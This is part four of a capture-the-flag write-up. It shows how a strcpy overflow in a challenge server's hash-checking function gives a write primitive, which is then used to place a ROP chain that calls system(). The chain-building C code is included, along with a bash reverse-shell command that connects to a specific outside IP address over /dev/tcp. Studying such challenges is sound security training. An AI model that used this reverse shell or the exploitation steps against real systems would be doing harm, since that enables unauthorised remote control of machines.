T19 Challenge - Part 4
Last time, we managed to empty the virus database, and got the third flag. But that’s not enough. How about trying to get a shell?
Recap
Previously, we managed to obtain an arbitrary read primitive, and a constrained write primitive.
Write
We can overflow dest
to overwrite index
(offset from db
to read from) and copy_buf
(target to write to). However, the new value of index
must not contain null bytes since it will stop strcpy
from copying further to overwrite copy_buf
.
int check_hash(char* input, char* buf)
{
char dest[32];
int index;
char* copy_buf;
init_db();
index = 0;
copy_buf = buf;
strcpy(&dest, input);
do
{
strcpy(copy_buf & 0xFFFFFFFFFFFFFFF0, &db[index]);
if (!memcmp(&dest, copy_buf, 0x20))
return 1;
index += 0x21;
}
while (db[index]);
return 0;
}
Read
Since 1117984489315730401 * 0x21 = 1
for qword multiplication, we can set index = 1117984489315730401 * offset
to choose the offset from db
to read from. This is better than only being able to read from offsets in multiples of 0x21
.
char *get_hash(unsigned long long index)
{
return &db[0x21 * index];
}
The plan
In order to get a shell, we need a way to control rip
. The best way here would be to place a ROP chain in the stack.
The steps we need to take could be summarized below:
1. Locate the stack
We need to locate the stack so that we can overwrite the return address. In addition, we also want the address of the message
received from the client, so that we can control what is being written.
2. Overwrite db
with a working address
The current location db
is pointing to is no good. Because the stack is located at a higher address relative to db
, the new value to overwrite index
will contain null bytes, and stop strcpy
from copying further to overwrite copy_buf
.
A random address such as 0x1122334455667788
will be fine, since in this case, the offset for an address in the stack (e.g. 0x7fffffffeab8
) would definitely require 8 bytes to represent.
3. Placing a ROP chain in the stack
Once we have all the above done, we are left with writing a ROP chain onto the stack.
Sadly, we cannot use one_gadget
here, because remember that we are not using stdin
or stdout
, but a separate fd
to communicate with the server. one_gadget
would just spawn a shell to talk with stdin
/stdout
but that’s useless.
However, we can write a command to somewhere in memory, i.e. spawning a reverse shell with "bash -i >& /dev/tcp/<ip>/8000 0>&1"
. Then, our ROP chain can call system
with the address of that string as its argument.
Exploit
Finding the stack
There exists addresses in the ld
section that points to the stack, which we can easily find using gef.
Since these addresses reside below our current stack frame, we can place a distinguishable value in our message
(e.g. 0xdeadbeefcafebabe
), then read from the stack upwards until we find this value.
From this we can compute the location of our return address to overwrite, as well as the message
received from the client to copy from.
Finding libc
Since we will be calling system
afterwards, we also need to find the address of libc. For doing this, it is more effective to use the same libc as the challenge server. So I downloaded /lib/x86_64-linux-gnu/libc-2.24.so
from the challenge server, and from that time onwards spawn srv_copy
with
LD_PRELOAD=./libc-2.24.so ./ld-2.24.so ./srv_copy
Similar to finding the stack, we can utilize the references to libc present in the ld section. For example, we can read the address of malloc
then subtract 0x7af10
to obtain the address of the start of libc
.
Overwrite db
There is no strong restriction of what to overwrite the address that db
points to with, but the most convenient way is to fill up all the 8 bytes, so that the offset of the stack relative to this address would take up 8 bytes.
For example, we set db
to now be at 0x19edc3284c8b80b1
, so that when trying to copy from our message
(at 0x7fffffffe8e0
), the index
will be 0xe612bcd7b374682f
. No null bytes.
Hence, our payload for check_hash
would look something like the following
<32 byte padding> | <offset to memory containing new db> - 8 | 0x603108 (location of db)
Recall that the program will keep copying from db[index]
until either 32 bytes from dest
and copy_buf
are the same, or db[index]
contains a null byte. Also, there is copy_buf & 0xFFFFFFFFFFFFFFF0
when calling strcpy
, so offsets need to be adjusted accordingly.
do
{
strcpy(copy_buf & 0xFFFFFFFFFFFFFFF0, &db[index]);
if (!memcmp(&dest, copy_buf, 0x20))
return 1;
index += 0x21;
}
while (db[index]);
It is almost certainly impossible to ensure that db[index]
contains a null byte after changing the value of db
, considering that both index
and the new value of db
are randomly chosen.
But we still need to stop the loop. We can achieve that by filling the 32 bytes of dest
with the 32 bytes that are expected to be in copy_buf
, so that memcmp
returns 0 and we exit the loop.
With this in place, what we have achieved is the ability to copy data from our sent message into anywhere we want.
Placing the ROP chain
This part should be fairly simple with all the preparations made above.
But first, we got to copy our command into somewhere in memory so that we can call system
with it later. We choose to spawn a reverse shell due to the reasons discussed earlier.
bash -c "bash -i >& /dev/tcp/188.166.219.74/8080 0>&1"
One nice place is the original db
, since it is not going to be used anywhere anymore, and we have one whole page of memory to work with.
Finally, we can write our ROP chain onto the stack, like the following
pop rdi, ret
original_db
system()
Writing the ROP chain is slightly tricky because there will definitely be null bytes in our gadgets that will prevent strcpy
from copying the whole chain at once. There is no way to avoid that, but we can take advantage of the loop in check_hash
to keep copying until dest == copy_buf
.
We can write the chain part by part, starting from the bottom, something like the following
// includes rbp because location of return address ends with 8
// copy_buf & 0xFFFFFFFFFFFFFFF0 would result in the copying being done
// 8 bytes earlier
int i = 0;
*(unsigned long long*)&s.data[pad + 33 * i] = 0xdeadbeefcafebabe; // rbp
*(unsigned long long*)&s.data[pad + 8 + 33 * i] = 0xdeadbeefcafebabe; // ret_addr
*(unsigned long long*)&s.data[pad + 16 + 33 * i] = 0xdeadbeefcafebabe; // ret_addr + 8
*(unsigned long long*)&s.data[pad + 24 + 33 * i] = system_addr; // ret_addr + 16
i++;
*(unsigned long long*)&s.data[pad + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 8 + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 16 + 33 * i] = 0x00adbeefcafebabe;
i++;
*(unsigned long long*)&s.data[pad + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 8 + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 16 + 33 * i] = shell_str;
i++;
*(unsigned long long*)&s.data[pad + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 8 + 33 * i] = 0x00adbeefcafebabe;
i++;
*(unsigned long long*)&s.data[padding_len + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[padding_len + 8 + 33 * i] = pop_rdi_ret_gadget;
Exploit in action
If nothing goes wrong, we shall get a root
shell.
(You might need to watch this in full screen.)
You can find the relevant files here.
If there is anything unclear, feel free to leave a comment below.